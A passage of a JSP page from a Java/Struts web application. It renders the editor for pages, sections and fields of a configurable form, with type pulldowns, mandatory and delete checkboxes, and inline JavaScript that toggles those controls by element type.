       //document.maintFormSectionForm.action="MaintFormPage.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=E&opMode=&ID="+n;
    }else{
       document.maintFormSectionForm.action="MaintFormElement.do?SHOW_HEADER_FOOTER=N&DeleteV="+DeleteValue+"&MandV="+MandValue+"&SelectV="+SelectValue+"&MandName="+document.maintFormSectionForm.elements['mandatory_'+n+'_'+i].name+"&formRecordID=<%=session.getAttribute("formRecordID")%>&navMode=E&opMode=&formPageID="+n+"&ID="+document.maintFormSectionForm.elements['formElementID_'+n+'_'+i].value;
    }  
    if(document.maintFormSectionForm.elements['formElementType_'+n+'_'+i].value!="<%=FormElementType.ELEMENT_PAGE%>"){
    	window.open(sPopupPath, "DCIVisionForm", sOptions);
        document.maintFormSectionForm.target = "DCIVisionForm"; 
        document.maintFormSectionForm.submit();
        document.maintFormSectionForm.target=oldTarget;
        document.maintFormSectionForm.action=oldAction;
    }
  }
}   


-->
</script>
<!-- Basic Tab DIV -->
<table>
	<layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
</table>
<div class="generalHeader">
 <div class="img_left"></div>
 <div class="img_right"></div>
</div>
<div class="new_header">
</div>
<div class="listTable">
<div class="form">
<table width="100%">
<input type="hidden" name="pageListSize" value="<%=pageListSize%>">
<input type="hidden" name="deleteAllandDisabledPageNo" value="">
<%
  Object[][] pageElementArray = maintFormSectionForm.getPageElementArray();

     //====================================Begin of forLoop1================================ 
    	 
  for (int nn = 0; nn < pageListSize ; nn++){
  	
  	tmpListTotal=0;
  	listSize=0;
    newFieldSize=0;
    sectionListSize = 0;
    newElementSeq = 0;
    formObjectSize = 0;
    opNewField=new Integer(0);
    String opIsDeletePage = "",opIsDeleteAll = "";
    // get the defalut field count of a section
    String defaultFieldCount = SystemParameterFactory.getSystemParameter(
	  SystemParameterConstant.FORM_SECTION_DEFAULT_FIELD_COUNT);
    
    Integer defaultFieldSize = new Integer(defaultFieldCount);
    FormPage formPage =(FormPage)formPageList.get(nn);  
    formPageID = formPage.getID().toString();
    if (request.getAttribute("newFieldsSize_"+formPageID) != null){
    	newFieldSize = ((Integer) request.getAttribute("newFieldsSize_"+formPageID)).intValue();
    }
    if (request.getAttribute("newField_"+formPageID) != null){
        opNewField = "null".equals(request.getAttribute("newField_"+formPageID)) ? new Integer(0) : new Integer(request.getAttribute("newField_"+formPageID).toString());
    }
    if (request.getAttribute("listSize_"+formPageID) != null){
    	listSize = ((Integer) request.getAttribute("listSize_"+formPageID)).intValue();
    }
    if (request.getAttribute("newElementSeq_"+formPageID) != null){
    	newElementSeq = ((Integer) request.getAttribute("newElementSeq_"+formPageID)).intValue();
    }   
    List formSectionList = (List)request.getAttribute("formSectionList"+nn);
    if (request.getAttribute("formSectionList"+nn)!=null) {
      sectionListSize = formSectionList.size();
    }
    List formObjectList = null;
    if (GlobalConstant.OP_MODE_REFRESH.equals(maintFormSectionForm.getOpMode())) {
      formObjectList = (List)pageElementArray[nn][0];
      formObjectSize = formObjectList.size();
    }else {
      formObjectList = maintFormSectionForm.getFormElementList();
    }     
    if(request.getAttribute("newElementSeq_"+formPageID) != null && !Utility.isEmpty(formObjectList) ){
      //formObjectList = maintFormSectionForm.getFormElementList();
      formObjectSize = formObjectList.size();
      sectionListSize = -1;
    } 
    Hashtable elementHashtable = (Hashtable)request.getAttribute("formElementHashtable"+nn);
%>  
 
 <!-- ----form section start -->
  <tr>
    <td colspan="2">
      <table style="width:80%;">
      	<tr>
          <td colspan="2"><html:img src='Spacer.gif'  width='1' height='1'/></td>
        </tr>
        <tr>
          <td> 
          <!-- Start page -->
            <div class="sectionTitle" style="margin-left: 0px;"><bean:message key='form.label.page'/> <%=nn+1%> : 
	            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	              <input type="text" name="formPageTitle_<%=formPage.getID()%>" value="<%=formPage.getTitle()%>" maxlength="30" />  
	            <%}else{%>
	              <%=formPage.getTitle()%>
	            <%}%>
            </div>
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	            <%if (nn!=0 && GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString())){%>
	      	        <input type="checkbox" name="delete_<%=formPage.getID()%>" <%=opIsDeletePage%> value="Y" ><bean:message key="form.columnheader.remove"/>
	      	        <%}else{%>
	      	          <input type="hidden" name="delete_<%=formPage.getID()%>" >
	      	    <%}%>
      	    <%}%>
            <input type='hidden' name='formPageID' value='<%=formPageID%>'/>
            <input type='hidden' name='formEleType' value=''/>
          </td>
          <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <td>
              	&nbsp;
                <bean:message key='dms.label.new_element_label'/>&nbsp;
      	        <nobr>
      	          <input type="text" name="newField_display_<%=formPage.getID()%>" onchange="return numericCheck(this,'<%=formPage.getID()%>')" value="1" size='1' maxlength='2'  style='font-size:11px' >
      	          <input type="hidden" name="newField_<%=formPage.getID()%>" value="0" size='1' maxlength='2'  style='font-size:11px' >
      	          <a href="javascript://" onClick="return opAddFields(<%=formPage.getID()%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
      	        </nobr>
      	        <input type="hidden" name="formPageID_<%=nn+1%>" value="<%=formPage.getID()%>" >
                <input type='hidden' name='newElementSeq_<%=formPageID%>' value='0'/>
                 &nbsp;&nbsp;
              <%
              if ("Y".equals(formPage.getIsDelete())) {
                opIsDeletePage = " checked";
              }
              if ("Y".equals(formPage.getIsDeleteAll())) {
                opIsDeleteAll = " checked";
              }
              %>
      	        
      	      </td>
      	      <td  class="bodySmallBold" align="left" nowrap width="16%">&nbsp;
      	        <%if (GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString())){%>
      	        <input type="checkbox" name="deleteAll_<%=formPage.getID()%>" onclick="onChangeDeleteAll(<%=formPage.getID()%>)" <%=opIsDeleteAll%> value="Y" ><bean:message key='form.label.delete_all'/>      	      
      	        <%}else{%>
      	        <input type="hidden" name="deleteAll_<%=formPage.getID()%>" >
      	        <%}%>
      	      </td>  
      	  <%}%>
        </tr>
        <tr>
         <td colspan="3" style="height:1px;">
           <div class="sectionLine" style="margin-left: 0px;">&nbsp;</div>
         </td>
       </tr>
      </table>
    </td>
  </tr>
  <%
  
  //===================================== Display Defalult Element Begin ==========================================
  	
  if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    if (sectionListSize==0 ) {
      tmpListTotal=defaultFieldSize.intValue();%>
      <table class="pageTable" style="border: 1px solid #ccdddd;">
			  <tr>
			  	<th><div class="firstsep">&nbsp;</div></th>
			  	<th><div class="sep">&nbsp;</div></th>
				  <th><div class="sep"><bean:message key="form.columnheader.name"/></div></th>
				  <th><div class="sep"><bean:message key="form.columnheader.type"/></div></th>
				  <th><div class="sep"><bean:message key="form.columnheader.mandatory"/></div></th>
				  <th><div class="sep"><bean:message key="form.columnheader.remove"/></div></th>
				  <th><div class="sep"><bean:message key="form.columnheader.add"/></div></th>
			  </tr>
      <%for (int i=0; i<defaultFieldSize.intValue(); i++) {
  %>
  <!----------- debug default ---> 
    <td <%if(i==0){%> class="s2" <%}else{%> class="s2" <%}%> width="10%" align="right">
	  <nobr>
	    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	      <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=i%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
	    <%}%>
	  </nobr>
	  </td>
	  <td class="s2">
      <%=i+1%>:&nbsp;
    </td>
    <td class="s2">
	    <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="">
      <input type="text" name="formElementName_<%=formPageID%>_<%=i%>" value="" size="20" maxlength="30"  >&nbsp;&nbsp;&nbsp;
     </td>
     <td class="s2">
      <%if(i==0){%>
          <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=i%>" onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)'>
          <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
            <option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
          <%}%>
          </select>
        <%}else{%>
          <select name="formElementType_<%=formPageID%>_<%=i%>" onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)'>
            <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
              <option value="<%=PULLDOWN_MAP[k][1]%>"><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>      
            <%}%>
          </select>  
      <%}%>
    </td>
    <td class="s2">
	    <input type="hidden" name="savedFlag_<%=formPageID%>_<%=i%>" />
	    <input type="hidden" name="selectionOptionNum_<%=formPageID%>_<%=i%>" />      	    
		  <input type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>" value="Mandatory" >&nbsp;&nbsp;&nbsp;
	  </td>
	  <td class="s2">
	  <%if (GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString())) {%>
  	      <input type="checkbox" name="delete_<%=formPageID%>_<%=i%>" value="Delete" >&nbsp;&nbsp;&nbsp;
  	  <%}else{%>
          <input type="hidden" name="delete_<%=formPageID%>_<%=i%>" value="" >
      <%}%>      
    </td>
    <td class="s2">
	    <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=i+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
    </td>
  </tr>
<script language="Javascript">
<!--
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>!=null){
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_SECTION%>" ||
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_FILE%>" ||  
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_IMAGE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_LABEL%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_DATE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){   
           
           if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value!="<%=FormElementType.ELEMENT_FILE%>"){      
             document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.checked=false;
             document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=i%>.disabled=true;
           }
          // if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value!="<%=FormElementType.ELEMENT_SECTION%>"){      
          //   document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.checked=false;
          //   document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.disabled=true;
          // }          
       }     
      // if(document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i%>.value=="<%=FormElementType.ELEMENT_SECTION%>"){
         // document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i%>.checked=false;
         // document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i%>.disabled=true;
      // }
       
     }
 -->
</script>  
  <%  
      }
    }
  }
 //========================================= Display Defalult Element End ================================
	 
 //========================================= Edit Element & Section Begin =====================================
   
    int totalObject = -1;
    for (int j=0; j<sectionListSize; j++){
      FormSection tmpFormSection = (FormSection)formSectionList.get(j);
      totalObject ++;
    %>
    
    <!-- Form Section Begin-->  
    <!----------- debug default Edit Element --->
<table class="pageTable" style="border: 1px solid #ccdddd;">
  <tr>
  	<th><div class="firstsep">&nbsp;</div></th>
  	<%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
  	<th><div class="sep">&nbsp;</div></th>
  	<%}%>
	  <th><div class="sep"><bean:message key="form.columnheader.name"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.type"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.mandatory"/></div></th>
	  <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	  <th><div class="sep"><bean:message key="form.columnheader.remove"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.add"/></div></th>
	  <%}%>
  </tr>
  <tr> 
  	<%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	    <td class="se2">
	  	  <nobr>
	  	    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
	  	       <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=totalObject%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
		      <%}%>
		  </td>
	  <%}%>
	  <td class="se2" width="3%">  	  
  	  </nobr><%=totalObject+1%>:&nbsp;
  	</td>

          <td class="se2">
            <nobr>
  	        <input type="hidden" name="formElementID_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getID()%>">
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                <%=tmpFormSection.getTitle()==null? "":tmpFormSection.getTitle().replaceAll("\"", "&quot;")%>
                <input type="hidden" name="formElementName_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getTitle()%>" >&nbsp;&nbsp;&nbsp;
            <%}else{%>
                <input type="text" name="formElementName_<%=formPageID%>_<%=totalObject%>" value="<%=tmpFormSection.getTitle()%>" size="25" maxlength="30"  >&nbsp;&nbsp;&nbsp;
            <%}%>
            </nobr>
          </td>
          <td class="se2">
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
                <%if ("0".equals(PULLDOWN_MAP_SECTION[k][1])) {%>
                    <bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
                <%}%>
              <%}%>      
            <%}else{%>
                 <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=totalObject%>" onchange='javaScript:onSave(<%=formPageID%>,<%=totalObject%>)'>
                 <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
                   <option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
                 <%}%>
                 </select>
            <%}%>
          </td>          
          <td class="se2">  
	          <input type="hidden" name="savedFlag_<%=formPageID%>_<%=totalObject%>" />
	          <input type="hidden" name="selectionOptionNum_<%=formPageID%>_<%=totalObject%>" />        
	  	      <input type="checkbox" name="mandatory_<%=formPageID%>_<%=totalObject%>"  value="Mandatory" >&nbsp;&nbsp;&nbsp;
	  	    </td>
	  	    <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	  	      <td class="se2">
	  	        <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString())) {%>
	  	            <input type="checkbox" name="delete_<%=formPageID%>_<%=totalObject%>" value="Delete" >&nbsp;&nbsp;&nbsp;
	  	        <%}else{%>
	                <input type="hidden" name="delete_<%=formPageID%>_<%=totalObject%>" value="" >
	            <%}%>
  	        </td>
  	        <td class="se2">
  	          <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=totalObject+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>

  	        </td>
  	      <%}%>
  </tr>
<script language="Javascript">
  <!--
   if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null) {    
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_SECTION%>"){
       document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     //  document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.disabled=true;
     }    
   } 
  // if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%> && document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_SECTION%>"){
     //  document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.checked=false;
     //  document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.disabled=true;
 //  }
    // if View the section,then hidden the checkbox.
    <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>        
         document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
     //    document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.disabled=true;
     //    document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.disabled=true;
    <%}%> 
  -->
</script>  
    
  <!-- form section end -->
   <% 
    int elementListSize = 0;   
    formElementList = (List)elementHashtable.get(tmpFormSection.getID() );
    if(formElementList!=null) {
      elementListSize = formElementList.size();
    }
    
    for (int i=0; i<elementListSize; i++) {
      totalObject ++;
      if (formElementList.get(i)!=null) {
        FormElement formElement = (FormElement) formElementList.get(i); 
        String opMandatory="";        
        if ("Y".equals(formElement.getRequiredFlag())) {
          opMandatory = " checked";
        }
   %>
  <tr>
  	<%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	    <td class="s2">
		  <nobr>
		    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
		      <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=totalObject%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
		    <%}%>
		  </nobr>
		  </td>
	  <%}%>
	  <td class="s2"> 
      <%=totalObject+1%>:&nbsp;
    </td>
          <td class="s2">
            <nobr>
              <input type="hidden" name="formElementID_<%=formPageID%>_<%=totalObject%>" value="<%=formElement.getID()%>">      
              <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
                  <%=formElement.getFieldName()==null? "":formElement.getFieldName().replaceAll("\"", "&quot;")%>
                  <input type="hidden" name="formElementName_<%=formPageID%>_<%=totalObject%>" value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>'>&nbsp;&nbsp;&nbsp;      
              <%}else {%>
              <input type="text" name="formElementName_<%=formPageID%>_<%=totalObject%>"     value='<%=formElement.getFieldName()==null? "":TextUtility.htmlEncode(formElement.getFieldName())%>' size="25" maxlength="30">&nbsp;&nbsp;&nbsp;
              <%}%>
            </nobr>
          </td>
          <td class="s2">
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
                <%if (PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType())) {%>
                  <bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
                <%}%>
              <%}%>      
            <%}else{%>
	          <select name="formElementType_<%=formPageID%>_<%=totalObject%>"  onchange='javaScript:onSave(<%=formPageID%>,<%=totalObject%>)' >
                <%for (int k=0; k<PULLDOWN_MAP_ELEMENT.length; k++) {%>
                  <%String opSelected = PULLDOWN_MAP_ELEMENT[k][1].equals(formElement.getElementType()) ? " selected" : "";%>
                  <option value="<%=PULLDOWN_MAP_ELEMENT[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_ELEMENT[k][0]%>'/>
                <%}%>
              </select>
            <%}%>
          </td>          
          <td class="s2">	 
	          <input type="hidden" name="savedFlag_<%=formPageID%>_<%=totalObject%>" />
	          <input type="hidden" value="<%=formElement.getOptionNumber()%>" name="selectionOptionNum_<%=formPageID%>_<%=totalObject%>" />   
		        <input type="checkbox" name="mandatory_<%=formPageID%>_<%=totalObject%>" value="Mandatory"<%=opMandatory%><%=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?" onclick='return(false)'":""%>>&nbsp;&nbsp;&nbsp;
	        </td>
	        <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	          <td class="s2">
	            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && GlobalConstant.RECORD_PENDING.equals(session.getAttribute("formRecordStatus").toString())) {%>
  	            <input type="checkbox" name="delete_<%=formPageID%>_<%=totalObject%>" value="Delete" >&nbsp;&nbsp;&nbsp;
  	          <%}else{%>
                <input type="hidden" name="delete_<%=formPageID%>_<%=totalObject%>" value="" >
              <%}%>
	          </td>
	          <td class="s2">
	            <a href="javascript://" onClick="return opAddFieldsMid(<%=formPageID%>,<%=totalObject+1%>);"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
	          </td>
	        <%}%>
	    </tr>
    <%}%>
<script language="Javascript">
    <!--
     if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>!=null){    
       if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_SECTION%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_FILE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_IMAGE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_LABEL%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_CURRENT_DATE%>" || 
           document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_CURRENT_LOGIN%>"){    
               
          if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value!="<%=FormElementType.ELEMENT_FILE%>"){       
            document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.checked=false;
            document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
          }
         // if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value!="<%=FormElementType.ELEMENT_SECTION%>"){       
         //   document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.checked=false;
         //   document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.disabled=true;     
        //  }
      }
      //if (document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_PAGE%>" || 
         // document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=totalObject%>.value=="<%=FormElementType.ELEMENT_SECTION%>"){
       
     //   document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.checked=false;
     //   document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.disabled=true;
     // } 
      var preEndRow = "endRow_<%=formPageID%>_<%=totalObject-1%>";
      var preType = "formElementType_<%=formPageID%>_<%=totalObject-1%>";   
   //   if (!document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.checked || 
   //        (!document.maintFormSectionForm.elements[preEndRow].checked && 
   //         document.maintFormSectionForm.elements[preType].value!="<%=FormElementType.ELEMENT_PAGE%>" && 
   //         document.maintFormSectionForm.elements[preType].value!="<%=FormElementType.ELEMENT_SECTION%>" )){        
   //     document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.checked=false;
   //     document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.disabled=true;  
   //   }
    <%//if (i>0){%>
    //   if (!document.maintFormSectionForm.endRow_<%=formPageID%>_<%=i-1%>.checked && 
     //      "<%=FormElementType.ELEMENT_PAGE%>" != document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i-1%>.value && 
      //     "<%=FormElementType.ELEMENT_SECTION%>" != document.maintFormSectionForm.formElementType_<%=formPageID%>_<%=i-1%>.value){
     //    document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.checked=false;
     //    document.maintFormSectionForm.multi_<%=formPageID%>_<%=i%>.disabled=true;  
     //  }
    <%//}%>
    } 
    
    
    // if View the Element,then hidden the checkbox.
    <%//if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
        // document.maintFormSectionForm.mandatory_<%=formPageID%>_<%=totalObject%>.disabled=true;
        // document.maintFormSectionForm.endRow_<%=formPageID%>_<%=totalObject%>.disabled=true;
        // document.maintFormSectionForm.multi_<%=formPageID%>_<%=totalObject%>.disabled=true;
     <%//}%>
     
    -->
</script>  
	<% 
	  }
}
 //========================================= Edit Element & Section End ======================
	 
 //========================================= Refresh Element & Section Begin =================%>
 </tr>
 
 <%
 if (GlobalConstant.OP_MODE_REFRESH.equals(maintFormSectionForm.getOpMode())) {%>
  <table class="pageTable" style="border: 1px solid #ccdddd;">
  <tr>
  	<th><div class="firstsep">&nbsp;</div></th>
  	<th><div class="sep">&nbsp;</div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.name"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.type"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.mandatory"/></div></th>
	  <%if(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
	  <th><div class="sep"><bean:message key="form.columnheader.remove"/></div></th>
	  <th><div class="sep"><bean:message key="form.columnheader.add"/></div></th>
	  <%}%>
  </tr>
  <%}%>
 <%
    for (int i=0; i<formObjectSize; i++){
      if (formObjectList.get(i) instanceof FormSection){
        FormSection tmpFormSection = (FormSection)formObjectList.get(i);         
        String opIsDelete = "";
        if ("Y".equals(tmpFormSection.getIsDelete())) {
          opIsDelete = " checked";          
        } 
        if (" checked".equals(opIsDeleteAll)){
          opIsDelete = " checked  disabled";
        }
        //Choose "<td>" css style when press "+" 
        String tdStyle=tmpFormSection.getIsSelected()?"se2":"s2";
 %>
    <!-- Form Section Begin-->
    <!----------- debug default Refresh Element --->
  <tr> 
    <td<%if (((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(tmpFormSection.getID())) || (i==0) ) {%> 
         class="<%=tdStyle%>" <%}else{%> class="s2" <%}%>" align="right">
   	  <nobr>
   	    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
   	      <a href="javascript://" onClick="javaScript:onSave(<%=formPageID%>,<%=i%>)" ><html:img src='IconDMSOpEdit.gif'  align='absmiddle'/></a> 
  	    <%}%>
  	 </td>
  	 <td class="<%=tdStyle%>">
  	   </nobr><%=i+1%>:&nbsp;
  	 </td>
          <td class="<%=tdStyle%>">
            <nobr>
  	          <input type="hidden" name="formElementID_<%=formPageID%>_<%=i%>" value="<%=tmpFormSection.getID()%>">
              <input type="text" name="formElementName_<%=formPageID%>_<%=i%>" value="<%=tmpFormSection.getTitle()%>" size="25" maxlength="30"  >&nbsp;&nbsp;&nbsp;
            </nobr>
          </td>
            <%if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
              <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
                <%if (PULLDOWN_MAP[k][1].equals(tmpFormSection.getIsSelected() ? FormElementType.ELEMENT_SECTION : "")) {%>
                  <td class="<%=tdStyle%>">
                  <bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
                  </td>
                <%}%>
              <%}%>      
            <%}else{%>
      	    <!-- The Element in DB,Yes OR No  -->
      	      <%if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE) || GlobalConstant.NAV_MODE_NEW.equals(ACTION_MODE)) && !Utility.isEmpty(tmpFormSection.getID()) ) {%>
      	      <td class="<%=tdStyle%>">
	              <select style="<%=selectWidth%>" name="formElementType_<%=formPageID%>_<%=i%>"  onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)' >
      		        <%for (int k=0; k<PULLDOWN_MAP_SECTION.length; k++) {%>
        	          <%String opSelected = PULLDOWN_MAP_SECTION[k][1].equals(FormElementType.ELEMENT_SECTION) ? " selected" : "";%>
        	          <option value="<%=PULLDOWN_MAP_SECTION[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP_SECTION[k][0]%>'/>
      		        <%}%>
                </select> 
              </td>        
              <%}else{%>
              <td class="<%=tdStyle%>">
	              <select name="formElementType_<%=formPageID%>_<%=i%>"  onchange='javaScript:onSave(<%=formPageID%>,<%=i%>)' >
      		        <%for (int k=0; k<PULLDOWN_MAP.length; k++) {%>
        	          <%String opSelected = (PULLDOWN_MAP[k][1].equals(tmpFormSection.getIsSelected() ? FormElementType.ELEMENT_SECTION : "")) ? " selected" : "";%>
        	          <option value="<%=PULLDOWN_MAP[k][1]%>"<%=opSelected%>><bean:message key='<%=PULLDOWN_MAP[k][0]%>'/>
      		        <%}%>
                </select>  
              </td>       
              <%}%>
            <%}%>        
          <td class="<%=tdStyle%>">  
          	<input type="hidden" name="savedFlag_<%=formPageID%>_<%=i%>" />
          	<input type="hidden" name="selectionOptionNum_<%=formPageID%>_<%=i%>" />          
   	        <input  type="checkbox" name="mandatory_<%=formPageID%>_<%=i%>" value="Mandatory" >&nbsp;&nbsp;&nbsp;
   	      </td>
